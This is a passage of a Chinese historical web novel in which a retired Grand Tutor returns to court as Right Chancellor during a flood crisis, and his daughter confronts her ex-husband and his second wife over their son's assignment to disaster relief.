孟正德看出女儿的犹豫,笑着提醒她,“还不快为为父穿上,可是要为父迟到吗?”
父亲的眼中全是
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对她的鼓励和肯定。
孟南枝甩开不确定,眸中转换瞒瞒的战意。
她要赢,唯有赢,才能保全子女,保全父亲,保全孟家。
长子沈砚修和次子沈砚珩也被雷声惊醒,冒着大雨跑来外祖父的厅堂。
“外祖父,母亲,胡姨母。”
看到母亲双手捧着的朝服,两人皆很惊讶,“外祖父,你要回朝了?”
沈砚修还记得外祖父以前身穿绯袍官服的样子,很是威风气派。
那时的父亲,对外祖父很是敬重。
待外祖父因为母亲致仕后,父亲对外祖父的态度是一日不如一日。
而沈砚珩对外祖父入朝为官完全没有印象了,他记得最多的就是外祖父每日都去垂钓。
每次与父亲起争执,他离家出走,到郊外都会看一眼垂钓的外祖父。
也不去打扰他,看完就走。
见到两个儿子,孟南枝不再犹豫,将托盘递给长子沈砚修,双手捧起朝服开始为父亲穿戴。
“爹,您抬下胳膊。”
孟太傅依言抬手,孟南枝小心翼翼将朝服往他身上穿。
待为他戴冠时,她盯着父亲满头银发中非常突兀的一根乌发,掩不住的惊讶,“爹,您有一根黑发。”
胡姨娘闻言忙不迭地凑上前,看到那根乌发,喜极而泣,双手合十,“真是黑的,老天保佑,喜见光明,老爷您定能重回满头黑发。”
她还记得老爷得知枝枝溺水而亡那日,没有任何预兆,一夜白发。
这些年来,她为了想让老爷的头发回归原来的状态,没少给他吃补药,可却是硬生生没长出一根黑的。
她知这是心结,但总想着能好一日便是一日。
如今枝枝回来才几天,这便生出了黑发。
还重回了朝堂。
这是天大的喜事。
孟太傅调整冠冕的角度,跟着笑道:“是喜事,枝枝回来,一切都好了。”
沈砚珩道:“加上外祖父回朝,那不就是双喜临门?”
“是。”
孟太傅笑着应了话,对女儿他们嘱咐道:“我去上朝,你们等我回来。”
众人皆知他话中深意,都重重地点了点头。
第101章 真是个绝世好男人?
孟南枝将父亲送至府门时,谢归舟便已撑了把油伞在门口马车前侯着。
带血的黑色锦衣已被换下,如父亲一般套了件绯红官服,身形挺拔,腰间玉带束得严实,更衬得肩宽腰窄。
肤色并非皙白,而是常年晒出来的蜜色,冠冕上的红缨垂下来,映得他那双深若潭渊的眼睛,此时亮得刺眼。
很好看。
孟南枝心头闪过异样,却又很快压下去。
因他穿着朝服,便依规矩道了声:“将军。”
谢归舟微微颔首,目光略过她因护着太傅湿了半边的身子,走过去把油伞往她身侧挡了挡,恰好遮了一阵刚好刮过来的风雨。
“太傅,我送您入朝。”
他声音清晰沉稳,亲自扶着孟正德上了马车。
自看到孟南枝从阁楼跑下,承天钟急促响起,再到两名太监入了孟府,他一刻未缓,换了衣服便在门口侯着。
即为护送太傅回朝,也为见她。
孟南枝看他手中伞柄始稳稳向父亲倾斜,挡了父亲整个身子,致使自己身上落了雨。
心知他待父亲一向恭敬,便更放心了些。
……
大雨瓢泼,依旧未停。
臣子们踩着积水奔入金銮殿时,靴底都沾着泥浆,人头涌动,满殿的焦灼气息。
身着绿色朝服的沈卿知站立难安地询问身侧的李御史,“李御史,这是发生了什么事?”
他背部杖伤尚未痊愈,涂了药后勉勉强强刚刚入眠,就被钟声惊醒。
上一次承天钟响,还是十年前北戎来犯。
那时,他才刚坐上镇北侯之位,未有实权,没有入朝参会的资格。
如今,他靠着林婉柔的父亲终于得了实权,进了入朝参会的资格,只是不知这次,又是什么大事。
既是大事,便代表着机遇。
“不知道,等着吧。”
李御史打了个哈欠,并不想理他。
夫人这两日没少在他旁边提镇北侯府的“趣事”。
以前提这镇北侯,都是夸他为了亡妻不续弦,真是个绝世好男人。
如今再提他,却变成了:镇北侯那个渣男,竟然允着平妻诬陷自己正妻,还替平妻顶了诬陷之罪,真是瞎了狗眼的渣男。
不过,他这个往日在夫人嘴里好色竟纳了两房妾室的御史,如今在夫人嘴里竟然变成了还算不错的顶顶好男人。
也算是沾了镇北侯没有太大脑子的光。
这两日,夫人不止一次在床上为他吹耳边风,说让他好好地告这镇北侯一状。
只是他听说这镇北侯最近傍上了左相,得看看风头再考虑要不要**他。
不仅李御史不想理镇北侯,往日里对镇北侯还算客气的,因着自家夫人的耳边风,今日都不太想理他。
只不过都知道他如今是户部尚书的女婿,该给的面子,还是要给。
背部依旧痛得难忍的沈卿知,还没察觉出他们的变化,只当他们和自己一样摸不清头绪。
直到他看到谢归舟扶着身穿一品朝服的孟太傅入了金銮殿,嘴巴张得比鹅蛋都大,满目皆是不可置信。
孟太傅竟然真的再次入朝了?
那他与孟南枝的和离算什么?
因为林婉柔的故意瞒着,他还不知孟南枝七巧宴上被谢归舟明护一事。
若知道,只怕会更加破防了。
金銮殿内顿时出现了些微骚动,相熟的官员下意识对视,眼中都浮现相同的讶异。
十年前毅然致仕的孟太傅,一心埋头垂钓,期间不曾询问过一次朝事。
为何偏偏在承天钟敲响这日,重新入了朝?
今日这朝会,不会跟孟太傅有关吧?
而且也都想起自家夫人今日从曹国公府回来,所爆的惊天大瓜。
孟太傅的女儿孟南枝这才与镇北侯和离,就要与曹侍郎相亲,中间还插入谢归舟自说心悦于她。
这比民间流传的话本子都要刺激。
不免又瞧瞧地抬眸看向位列前排的曹景行。
但见他面色如常,又都悄眯眯地扭回了头。
原本正垂眉整理着手中奏章的户部尚书林则温(林婉柔父亲),指尖微微一顿。那双覆在眼帘下的眸色,在旁人看不见的角度悄然沉了沉。
为首的太子萧明渊亲自到门口迎接,温和有礼,“太傅。”
而后站在孟太傅的另一侧,领着他进了首位。
几位皇子眸色或亮或暗,皆同他行礼,“太傅。”
孟太傅微微颔首,面色沉重。
承着他的脚步刚刚落稳,便传来太监的唱喏,“圣上驾到——”
圣上萧潜雍跨步坐上龙椅,将急报扔在案上,“山城急报,九曲河决堤,沿岸八县被淹,流民逾十万。”
他的声音虽轻,却彻响大殿。
工部尚书大人猛地跪地,声音发颤,“臣罪该万死。因三个月前奏
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请加固堤坝的银子,到现在还未完全拨付,这才造成九曲河决堤。”
三日前突下大雨,圣上半夜询他安排河工去山城九曲河。
据他了解,九曲河并未决堤,当时虽听了命,却并未在意。
没想到,竟然真的如圣上预知的裂了口。
好在他此前一直有奏请银子加固,若是降罪还能提及银子未能全部拨付这个借口。
户部尚书林则温听闻他这甩锅的言词,也跟着猛地跪下,“臣罪该万死!实在是国库吃紧,这才缓了银子。”
承天钟敲响,他想过北戎来犯,贼寇起事,却唯独没想到竟是九曲河决堤。
自古以来,但见涉及九曲河决堤,最先被推到风口浪尖的,不是工部,便是他们户部。
这九曲河加固堤坝一事,年年拨钱,年年补,却也年年未出事。
哪能想到,今年才缓了一月,就偏偏出事了呢。
他攥紧了手中的奏掌,冷汗顺着额头往下滴,只待圣上将罪。
“你们的罪此后再议。”
圣上萧潜雍冷眼打断他们,“工部尚书余大人,你即刻带人南下,九曲河堤坝要怎么堵、用多少民夫物料,三日内给朕一个章程。钱不够就跟户部要,谁敢推诿,先脱了衣帽。”
“户部尚书林大人,赈灾粮款、棉衣药材,从国库调拔,三日内必须运出第一批。”
他指尖重重地扣在孟正德此前送来的图纸上,语气沉了沉,“国库若吃紧,便从内库挪,再让京中勋贵捐输,谁敢藏私,就让都察院去查。”
几位臣子大气不敢出,纷纷出列领命。
殿内一时鸦雀无声,唯有内侍提笔记录的沙沙声。
萧潜雍目光扫过群臣,落在阶下为首的一身绯色朝服,满头银发的孟正德身上。
那是与自己自幼相伴,经历很多生死之关,替自己出谋划策谋得皇位,后来又做了皇子太傅之人。
为了亡妻,一度想要**。为了女儿,又心死致仕。
他重情重义,从不谋私,也不妄言朝政。
孟南枝和离之事,因着太后懿旨原因他确实不便下圣旨,对他有些亏欠。
思此,萧潜雍语气稍缓,带了几分暖意,“传联旨意,孟正德即日起任右相一职,总理户部、工部,凡钱粮调度、河工修缮,皆由他定夺。”
台下臣群中的沈卿知,双耳轰鸣,眼前一黑,只觉得天塌了。
第102章 夫人,侯、侯爷来了
殿内一片寂静,众臣的呼吸都在刹那间停了下来。
太突然了,没有任何预兆。
站在阶下的左相身形微顿,手里的笏板几不可察地晃了晃。
右相一职悬浮多年,他一直兼管户部、工部。
如今孟正德一上来就摘了两个大头,这跟断了他的一臂有什么区别。
跪着的户部尚书林则温同样眸色深沉,他曾经是孟正德的部下。
以为孟正德致仕之后,这么多年圣上不曾过问于他,便以为他没再可能上朝。
哪能想兜兜转转回来,竟然还是他的顶头上司。
眼下洪水爆发,圣上刚斥责了他。
而自己的女儿,还抢了他女儿孟南枝的夫君……
孟正德望着龙椅上鬓发花白的圣上,眼眶微热,在众臣寂静的呼吸声中叩首行礼,“臣遵旨,粉身碎骨,定不负圣恩。”
萧潜雍微微颔首,示意他起身,又将目光落在阶下性情温和、却缺乏历练的太子身上。
再次缓缓开口:“吏部尚书黄大人,罢免山城知府及河道总督,命左御史辅助太子萧明渊为钦差,持尚方宝剑,即刻前往灾区赈灾,有权节制地方所有官员,凡不听调遣、延误灾情者,先斩后奏。”
太子萧明渊、吏部尚书及左御史皆躬身领命。
众臣一时无声,他们皆知太子身份尊贵,灾区疫病丛生,乱象难料,此行风险不小。
萧潜雍看了眼孟正德身侧的谢归舟,“屠戎将军挑选军中精卫,随太子同行,务必确保太子安全。”
别人跟着他不放心,只有他这位身经百战的小国舅,能实打实的护着太子。
顿了顿,他又道:“孟相长外孙沈砚修,年少有为,处事沉稳。传朕旨意,命沈砚修以属官身份,陪同太子前往灾区。”
谢归舟与孟正德领命谢恩。
众臣皆惊,圣上提及沈砚修竟然用的是孟相长外孙,而非镇北侯世子。
这……
位列后位的百官皆下意识将目光扫下镇北侯。
这沈砚修年仅十六,前几日的名声还是喜杀通房,喜欢虚张声势,欺压百姓。
怎么今日到了圣上嘴里,就变成年少有为,处事沉稳了?
还专门给他安排了个属官的句号,跟着太子去山城赈灾,让百战百胜的屠戎将军亲自同行。
这么大的阵势,圣上这是要为孟家起势啊。
镇北侯沈卿知已经完全感受不到背部杖刑的疼痛。
他现在整个心都疼。
要疼**。
二叔所说全部应验,孟太傅不仅回朝,职务还比林父都高,真逼左相了。
……
孟南枝收到圣旨的时候,天色将亮。
长子赴山城之事虽说是她妥父亲求来的,但真到了这一步,心里还是有些发慌。
巨幕里,此次赈灾并非由太子主理。
储君出行,仪仗虽盛,可沿途的风险也成倍增加,暗处不知道有多少眼睛盯着。
而父亲竟然任职右相,却是她万万没能想到的。
她原以为父亲回朝,顶多保持原职务不变。
但想到她回来后,经常不见父亲人影,孟南枝很快就接受了事实。
眼下父亲并未随圣指一起回府,而是去了工部和户部,直接开始总理此次九曲河决堤一事。
胡姨娘一边收拾衣物,一边抱怨,“枝枝,你说你和老爷做什么决定,能不能考虑下孩子。修儿那么小,他才刚束发,你们就忍心放他去那么险恶的地方?”
“九曲河暴发洪水,那定是流民遍野,疫病丛生,这哪里是救灾,分明是把修儿往那火海里推。”
老爷任右相是喜事,但她跟着老爷这些年经历了太多大起大落,对官职看得也就淡了。
她身份不高,只是妾室,京中世家夫人从不邀她参宴。
所以她这些年,也一直没能融入那个圈子,再加上这些年做生意得了利,日子反倒滋润许多。
唯一觉得遗憾的是自己没能留下子嗣。
所以枝枝回来,她是真真心里高兴的。
尤其是和离后,两个孩子也跟着她回了孟家,每日看到他们,胡姨娘就觉得心里慰贴。
沈砚修笑道:“祖姨母,我身为世
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子,理应为百姓做事的,您且安心吧。”
母亲和他说过的,他早有心理准备,只是没想到会跟着储君出行。
这是外祖父特地为他寻来的机会。
孟南枝稳定心神,同她安抚道:“姨娘且放心,修儿已经大了,总归是要出去闯一闯的,而且有谢将军护着,安全保障肯定没问题的。”
“唉,我说不过你们,你们总有你们的道理,我就是心疼孩子。”
胡姨娘也只是说说,不放心地又着人准备了几件厚实的衣物。
她这些年学着做生意后,见识多了,知道洪水灾区,气温会有所变化。
想了想,胡姨娘又吩咐婆子把她的小钱匣搬出来,拿了十万两银票塞到沈砚修怀里,“修儿,到了山城人生地不熟的,这些你拿着备用。”
“祖姨母,我不用。”
银票太多,沈砚修有些吓着了。
他虽是世子,但在镇北侯府,从来没接触过这么多银票。
“怎么不用?出门在外,银钱乃是必备之物。你此去山城,赈灾救人,处处都需要打点,没有银子怎么行?姨母就这么点心意,你可不能推辞。”
胡姨娘说着,硬是将银票塞进了沈砚修的衣袖里。
沈砚修看着那么多银票,虽然有些眼馋,但还是不敢收,“祖姨母,我是跟太子出行,用不上打点。”
“哥,你不要,给我吧,我帮你收着。”沈砚珩在一旁看得眼热,他也没见过这么多银票,想摸摸。
胡姨娘一听,拍了下自己的脑门,把剩下的银票全都塞给了沈砚珩,“瞧我,倒是把你忘了,来,这些给你。”
沈砚珩只是说说,哪想她竟然真的给他,震惊地摸了两下,又还了回去,“祖姨母,我说着玩儿呢,您留着自己用吧。”
孟南枝见两个孩子都很知事,欣慰地同胡姨娘道:“姨娘,您留着吧,修儿用不上。”
她已经在长子的贴身包裹里放了足够用的银票。
胡姨娘还欲说些什么,只见观棋急匆匆地从院外跑过来。
“夫人,侯、侯爷来了。”
第103章 南枝,你我总归是夫妻一场
大雨未停,依旧下得瓢泼。
东邻府院。
强壮的百万搬着梯子,只差站在了墙头上。
看到钱飞冒雨独自回来,扭着脖子往他后面看。
确认真没人后,才惊诧地问道:“将军呢?怎么就你自己,将军怎么没和你一起回来?”
钱飞抹了把脸上的雨,“将军被请进御书房了,让我先回来收拾东西。你看什么呢,还不赶紧下来。”
“镇北侯。”百万指了指孟府的院子,“镇北侯来了,怕是这会儿正跟孟姑娘叙旧呢。”
钱飞皱眉,前日里他们随着将军一路到峭城,中间只吃了一顿鱼,剩下的时间都在赶路。
捉拿那名奸细时,将军还被中了一箭。
明明可以用更妥善稳妥的方式,可将军偏偏用了最快最直接的方式。
宁可中一箭,也要早点回京。
跑回来时,将军的战马都累得虚脱了。
三人刚到城门口,就听线报说孟姑娘要和曹国公府家的世子——曹侍郎相亲。
一向爱干净的将军,竟然连换衣裳都顾不得,带着一身血腥味,直接去了曹国公府。
那么能忍的将军,为了阻止孟姑娘再嫁他人,终是忍不了了。
思到这里,钱飞扭头对还趴在墙头的百万道:“你下来,去一趟镇北侯府。”
百万又有一百万个不解,“镇北侯不是在这呢,我去镇北府做什么?”
钱飞难得多说了两句:“你只管去,就跟镇北侯府的门房说镇北侯这会儿正在孟府,其他的不用多说,直接回来。用不了一会儿,自然会有人来叫镇北侯回去。”
百万觉得他好像懂了,又好像没有完全懂。
但他知道钱飞说的应该没错,麻溜地就从墙上翻下来,往镇北侯府跑。
……
镇北侯沈卿知下朝后顾不得后背的伤痛,连弯都没拐,直接到了孟府。
孟南枝看到他的时候,他半个绿色朝服都是湿的,鬓发贴着额面,汗水混合着雨水顺着双颊往下流。
一进厅堂,沈卿知面上便堆满了久违的笑,“南枝,这是在为修儿出行准备东西吧?”
目光落在桌案,在看到堆放的众多银票时,震得瞳孔放大,好片刻才收了回来,笑意更深了些,“南枝,修儿此次能随太子前往山城赈灾,是为国为民的大好事。”
顿了顿,他又一副慈父心肠道:“这途中艰难险阻定然不少,你为他准备银票是对的。只是他一个孩子,跟着太子出行,用不了这么多银票,你还是留下来好好存着用在其他地方的好。”
孟南枝听着他这番冠冕堂皇的话,心中只觉好笑。
与胡姨娘对视一眼,让她赶紧把银票收起来后。
不欲和他在银钱上面掰扯,孟南枝面色冷淡道:“不知侯爷来孟府所谓何事?”
沈卿知听到她这般疏离的话,脸上堆起的笑意微微一滞,又很快恢复如常。
“南枝,我今日前来,是想与你商量修儿此去山城赈灾之事。”
他强忍着后背传来的阵阵痛意,尽量让自己的语气显得温和而诚恳,“虽说有太子和谢将军护着,但山城如今情况复杂,我实在放心不下。我想着,不如你和岳丈说一下,让我也陪同山城赈灾,好在路上照应他。”
岳丈?
和离完了。
父亲高升了。
他跑来喊岳丈了。
她刚回来那日,可是亲眼看到他进孟府,可是连对父亲行礼都不带行礼的。
孟南枝丝毫不掩眸中的厌恶,冷眼扫过沈卿知,“沈卿知,你若有心为国分忧,何不在朝堂上上书请缨,非要在私下提出陪同,莫不是起的什么歪心事,想要坏了我父亲的名声不成成?”
沈卿知被她问得一时语塞,脸色涨红道:“南枝,你我总归是夫妻一场,修儿又是我的孩子,我能有什么歪心事?”
“你想想,这去山城赈灾能是个什么好活,修儿那么小,又不懂事,万一跟着太子惹出了什么事,而且京里那么多世家子弟,哪一个不比修儿强,你看圣上……”
只这一句话,孟南枝都要气得差
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点笑出声来,“沈卿知,我的修儿他懂事,稳重,知礼,重孝道,哪一样都比别家的子弟强,你若有事就说事,没事就给我滚出去!”
从听到观棋说父亲进府,沈砚修便以为父亲得知他要去山城赈灾是来祝贺他,关心叮嘱他路上要小心的。
可父亲进来后,却看都没看他一眼,直接盯上了桌案上的银钱。
眼下,竟然又在母亲面前贬低他。
沈砚修就站在离母亲三步远的位置,明明父亲一抬眼就可以看见他,偏偏他就是没能落入父亲的眼中。
他那原本因随太子出行而激动的心情,此刻已经降至冰点。
看着母亲因与父亲对质,而气得有些涨红的面容,沈砚修攥紧了拳头,指甲深深嵌入掌心。
掌心似乎被刺破,渗出血丝,但他却丝毫感觉不到疼痛。
他该长大了,不能让母亲一直护着他。
母亲因水溺水,实际也才比他大了几岁而已。
思到这里,沈砚修抬头看向沈卿知,带有血丝的眼眸中满是愤怒与失望,“父亲,您既然如此看不上我,又何必提出要陪同我前往山城?”
“我虽年少,但也知忠君爱国,为国分忧。您若真有心,便该在朝堂上为百姓**,而非求于外祖父,让外祖父给你任职,并在此与我母亲争执。”
孟南枝不留情面的话已怼的沈卿知面色青白,气得说不出话来。
可他没想到,如今这才几天没见的长子,竟然也如此反逆于他。
沈卿知面色由青变白,异常难看,他从未想过,这个被他教导了十多年的长子,此刻在面对他时,竟然如此的坚定和言辞犀利。
可他到底是身为父亲,怎么会愿意被一个小子压住,所以他哼着鼻子道:“我为什么与你母亲起争执?你也不看看你母亲这次回来之后,哪有一点容人之量。”
“再说,我提出去陪同你去山城,还不是因为放心不下你,你是我沈家的世子,万一有个好歹怎么能成?为父陪同你,自然能护你安全。”
第104章 亲儿子一样
孟南枝听到长子所言,心中甚感欣慰。
她走到沈砚修身侧,轻拍了拍他的肩膀,示意他不要激动。
但却并没有阻止他说话,或插嘴于他与沈卿知之间的对话。
孩子有表达想法的权利,不管是好还是坏。
作为母亲,她只管兜底。
母亲在身侧站定后,沈砚修所说的话更加从容,也更加直白不留情面,“父亲,您真的是为了护我安全吗?我跟随太子出行,有屠戎将军带着精兵护卫,安全方面自是无虞。”
“可您呢,您口口声声说放心不下我,可您从进来到现在,连正眼都没瞧过我一下。”
“您进来的第一眼,看了桌上的物资,第二眼是那银票,第三眼便是向母亲为您求职,这就是您所谓的放心不下我?”
说到这里,沈砚修加重了放气:“还是说,您只是打着护我安全的幌子,想借此机会在外祖父面前讨个好,谋个利?”
“你!”
沈卿知被沈砚修揭穿真正目的,气得面色青白交加,“你个逆子,为父好心护你,为了你的安全宁愿去那流民遍野、疫病丛生之地,你竟如此反逆于我,曲解为父心意。”
说到此处,他扭过头看来看向孟南枝,“孟南枝,这便是所你所的好好教养?把我好好的一个儿子教养得忤逆父亲?!”
沈砚修上前一步挡在孟南枝面前,“父亲,母亲把我教得很好,是你没把我教好,不要把什么事都推到母亲身上。”
说到这里,他语气又郑重了几分:“还有,父亲,母亲说得对,我不差,我沈砚修不比京都世家子弟当中的任何一个人差。”
母亲如此护他,他怎么可以让母亲失望。
沈卿知被长子这句话震得突然轰了耳,脑子一片空白。
他想起了自己身为庶子虽有文才,却还是有些内心自卑时。
父亲把他叫到书房,立他为嫡子,告诉族兄弟们,说他不差,比他们任何人都优秀。
他也是从那时才开始逐渐自信,娶了孟南枝,继承了镇北侯,然后开始自负。
沈砚珩听到兄长这话时,也跟着震了一下。
兄长真的变了,变得更优秀了。
他抬眼看了看被兄长护在身后的母亲,握紧拳头,也跟着上前站在了兄长身侧。
他也要长大,和兄长并肩而行。
有他和兄长在,谁也不能欺负母亲和昭妹。
孟南枝此刻觉得特别的自豪,哪有什么比孩子长大,一直护在她面前更值得高兴的事呢。
但为了避免沈卿知被长子刺激的又发动手**,所以她上前一句把两个孩子护到后面,冷声道:“侯爷,请回吧。”
沈卿知终于从回忆中缓过神来,再看长子沈砚修,面色变得十分复杂。
这个长子,他其实一直都不喜,性格不像他,长得也不像他。
如今再细看,倒是有几分肖似他父亲的。
目光扫过直视于他的次子沈砚珩,再落在孟南枝清冷表情的脸上。
沈卿知眉间紧锁,深思片刻后,退一步对沈砚修道:“既然你不信为父,为父也不强求。但为父会回府安排几个得力的护卫来,到时你与太子说下,让他们跟着你,也能一路护你安全。”
“不管怎么说,你都是我沈家的世子,这是为父的一片心意,”
沈砚修皱眉,父亲突然变得如此“慈爱”,他有些不能适应,所以他下意识地看向母亲。
孟南枝轻拍了拍他的手腕,对沈卿知道:“侯爷,免了吧,您府中的护卫恕我不敢用,一个家仆都敢勾结外人污蔑主子,真用了您的护卫我怕那护卫再勾结外人害了我的修儿。”
原则上说不该替孩子拒绝来自父亲的“关爱”,但孟南枝心中清楚地知道沈卿知哪里是担心修儿。
他今日所做目的,分明是想借此机会在太子面前刷些好感,说不定还想在赈灾之事上分一杯羹。
沈卿知被孟南枝连讽带棒的话堵得语塞,偏偏她所言又是真实发生过的事。
正憋得面红耳赤间,只听一道娇柔之声响起:“南枝,话怎么能这么说呢?以前那恶奴是他私自犯了错,又不是侯爷的错,哪有做父亲的会不心疼自己孩子的,侯爷待修儿他们可是一片赤诚。”
林婉柔穿了一身正绿色的襦褂锦裙,在陆筝筝的搀扶下袅袅婷婷地入了厅堂。
雨水倒没打湿她的脸,只有裙摆微微沾了些水汽,但那身上混着
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雨后潮气的脂粉香,熏得人直犯恶心。
胡姨娘皱眉看了眼厅外,觉得门房来顺年纪有些大了,应该添上两个年轻点的帮他看门。
要不,有些不该来的狗,总是拦不住。
东邻府院。
强壮的百万又上了围墙,并对还在忙碌的钱飞炫耀,“看我厉害吧,只在镇北侯府门口嗷了一嗓子,这镇北侯的平夫人就来了。”
钱飞翻了个白眼,“你快下来帮着收拾东西,我还要再去军中选些精卫。”
百万直看到林婉柔进了厅堂,才下了墙,开始听钱飞的安排去干活。
听钱飞的,有那平夫人在,镇北侯休想挖将军的墙角。
林婉柔进入厅堂后,目光佯装慈爱地在沈砚修和沈砚珩两兄弟身上扫过,嘴上更是一副关心体贴替他们不值的言辞。
“修儿不管怎么说都是沈家的孩子,侯爷作为父亲,自然是想护着他周全。南枝,不管怎么说你也是当母亲的,怎的如此狠心,连这点心意都不许?”
孟南枝冷冷瞥了她一眼,丝毫不留情面道:“林婉柔,你是昨日没吃够教训,非要一个劲儿地跑到我这里来刷存在感,再吃点教训不成?孟南枝的孩子,我自会护着,用不着旁人来指手画脚。”
林婉柔面色一僵,攥紧了手中帕子,走到沈卿知身侧,眼中似被孟南枝责斥得含了泪,“侯爷,您看妾身也是一片好心,没想到南枝还是这般误会妾身。”
沈卿知此刻盯着她又想落泪的眼睛,有些心烦。
但他到底是刚因林父落了实处,虽心中不满她多事,眼下也只能护着她,皱眉对孟南枝道:“南枝,婉柔同我一样,也是关心修儿,你何必如此咄咄逼人。”
只是那语气却不如先前凌厉,多了几分软腻。
林婉柔当下便暗红了眼睛,手中帕子被她攥得皱巴成一团。
果真如她所想,孟正德被封右相,沈卿知下朝不回家,跑到孟府来。
定是存了想与孟南枝和好的心思。
思此,她挽了帕子先孟南枝一步开口道:“侯爷,您也不要怪南枝,毕竟南枝有屠戎将军做靠山,屠戎将军那般心悦南枝,此行定是将世子护成亲儿子一样。”
第105章 林婉柔你是不是得了癔症
林婉柔此话一出,厅堂内气氛瞬间降至冰点。
几乎在同一瞬间,孟南枝扬手,沈砚修和沈砚珩两兄弟抬脚。
在巴掌落在脸上的刹那,林婉柔就又被踹翻在地上,足足落了一丈远。
“母亲!”
陆筝筝惊呼一声,连忙弯腰去扶林婉柔。
明明昨天曹国公府七巧宴结束后,母亲在回侯府的路上,再三告诫她。
为了避免引起侯爷的雄竞心理,让她千万不要在侯爷面前提及,曹国公府想和孟家联姻,还有屠戎将军说心悦南姨一事。
可眼下,母亲竟然就这么突兀地说出来了。
她,并不是很能理解母亲此刻的想法。
沈卿知面色骤变,一时间根本就没想到去扶倒地的林婉柔,而是目光直挺挺地在孟南枝和长子沈砚修之间来回逡巡。
“什么心悦?什么亲儿子?这跟屠戎将军有什么关系?”
他脑子里的第一反应,就是孟南枝给他戴了绿帽子。
可他非常确定,沈砚修就是他的孩子。
孟南枝甩了下有些发疼的掌心,双眉紧蹙,语气似冰道:“林婉柔,什么该说,什么不该说,我劝你多动动脑子。”
陆筝筝想把母亲扶起来,却扶不动。
林婉柔一手捂着火辣辣的左脸,一手握着痛得难以忍受的肚子,泪跟瀑布一样流下来,“侯、侯爷,妾身、妾身好痛……”
陆筝筝也在母亲的暗示下,双目噙泪道:“南姨,我母亲只是说了两句实话而已,您怎么能下这么重的手?”
沈卿知这才似如梦初醒般,连忙去扶林婉柔,见她额间生汗,白皙的脸上赫然印着一道血红的巴掌印。
当下便怒对孟南枝喝斥道:“孟南枝,婉柔不过是关心修儿说了两句话,你怎可下如此重的手?竟还威胁她不让她说话,你到底是瞒着本侯什么事?”
“关心?”
孟南枝闻言冷笑,“沈卿知,你跟她待久了,这与她一样惯会倒打一耙的本事,学的还真是万分相似。”
“从她林婉柔进来开始,所言哪有一句是真心关心修儿。她若真关心修儿,又会不知什么话该说,什么话不该说?”
说到此处,孟南枝又冷嘲地上下打量了他两眼,“至于你所说的我瞒你什么事,请问镇北侯,你与我有何关系,至于让我费心思去瞒你,你莫要太过看得起自己了。”
“你……”
沈卿知被孟南枝堵得哑口无言,他低头看着林婉柔捂着肚子痛哭的模样。
只得将闷气撒在了沈砚修两兄弟身上,“你们两个逆子,目无尊长,竟敢对你们婉姨动手,当真是反了天了。今日我若不严惩你们,日后还不知要闹出什么乱子来。”
孟南枝面色冰冷,眼神中满是对眼前男人的厌恶,“沈卿知,这么些年,你真是无半分身为父亲的自觉,一有不顺就先会拿两个孩子出气。”
沈砚修自嘲地低笑一声,本就失望的神情,此刻在面对沈卿知时变得更加冷漠,“父亲,我不需要您的关心,也更不需要您这位‘平妻’的关心,您请回吧!”
他已经完全失望了,他不该对父亲爱他还存在幻想。
沈砚珩也握紧了拳头,附和道:“父亲,您请回吧。”
被两个儿子冷面往外赶的沈卿知,面色异常难看。
他今日来,明明是为了“求和”而来,怎么会被搞成这个样子。
林婉柔终于痛得缓过来劲,她半个身子压在沈卿知的胳膊上,有气无力道:“侯爷,妾身说的都是实话,屠戎将军心悦于南枝。”
她很了解沈卿知,清楚他下朝就来孟府的目的。
她要堵死他想要挽回孟南枝的心。
完全断了他与孟南枝任何可能复合的想法。
沈卿知闻言哑了舌,他看向孟南枝,再看向自己面前的两个半大儿子,扭头对林婉柔道:“你疯了吧?!”
屠戎将军,谢归舟,国舅爷,少年英才,谢家唯一子嗣。
心悦一个与他和离,还有三个半大子女的……呃,孟南枝?
这比他今日初听孟太傅被封右相
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,还要让人难以置信。
沈卿知完全不信,他觉得林婉柔肯定是气不过被孟南枝打了一巴掌,故意在污蔑她。
但屠戎将军的身份和地位在那摆着,又岂是她可以污蔑的。
想至此,沈卿知对陆筝筝道:“快带你母亲回府,让太医瞧一瞧,怕不是得了癔症。”
孟南枝闻言蹙眉,她还没想明白沈卿知的脑回路,和他说出此言的目的。
沈砚修与沈砚珩两兄弟互视一眼,表示都没看明白。
林婉柔更是完全没想到沈卿知不仅不信她,竟然还误认为她有病!
当下面色是又红又白,“侯爷,妾身说的都是真的,昨日屠戎将军在曹国公府,亲口说他心悦于南枝,整个参加七巧宴的人都听到了。”
陆筝筝也跟着母亲附和道:“侯爷,母亲说的是真的,屠戎将军确实心悦于南姨,而且屠戎将军现在就住在孟府的隔壁呢。”
连他一向极其疼爱的陆筝筝都说得如此信誓旦旦,沈卿知不由得慌了神,抬目看向厅外的东邻府院。
屠戎将军搬到孟府隔壁一事,他自然是有听说的,但那不是因为将军府正在修缮吗?
沈卿知压了压心神,冲陆筝筝道:“回去,先给你母亲看诊。”
他还是不能相信。
谢归舟,那般权贵之人怎么可能会心悦一个和离之人。
而且全京都的人都知道谢归舟他伤了根基。
一个伤了根基的人,说出“心悦”二字,怕不是自尊都全被掀了去。
即便他真说了,那也定是他看着孟太傅的面子,才说的。
“侯爷!”
见他还是不信,林婉柔攥着帕子,加重了几分语气道:“侯爷,您若还是不信,大可派人去曹国公府问问,昨日七巧宴上,屠戎将军当着众人的面,亲口所言,岂会有假?”
随着他的话音落下,一道清洌之声骤然自空中传来:“问什么?是问本将吗?林婉柔,看来本将对还是太过轻饶了你,让你竟然还有胆到孟府来信口雌黄。”
第106章 原来如此
谢归舟衣袍未换,还是那身绯色朝服,头上乌发微潮,面容冷峻,带着令人胆寒的气势。
林婉柔见到他突然出现,脸色瞬间煞白,低垂着头不敢说话。
谢归舟满是厌恶地撇开视线,转身看向沈卿知,语气冷淡却又不失威严道:“镇北侯,本将昨日确实在曹国公府说过心悦南枝,这并非虚言。”
“本将行事,向来光明磊落,无需向任何人解释。但本将也绝不允许有人借此搬弄是非,污蔑于南枝。”
“你若不好好管教你的这位平妻,若容她再次在南枝面前胡吣**,本将会亲自以律法处置于她。”
沈卿知被他这番话震得大脑一片空白。
这怎么可能?
屠戎将军、谢归舟,他怎么可能真的心悦于孟南枝?
谢归舟见他一直不回话,皱眉道:“镇北侯,本将所言你可听到?”
沈卿知回过神来连忙躬身应道:“依将军所言,本侯定会管教好林氏。”
目光扫过谢归舟一向冷清的脸时,沈卿知突然悟了。
他想到了,他知道谢归舟为什么要说心悦于孟南枝了。
是孟太傅,定是因为谢归舟提前知道孟太傅要被圣上封为右相。
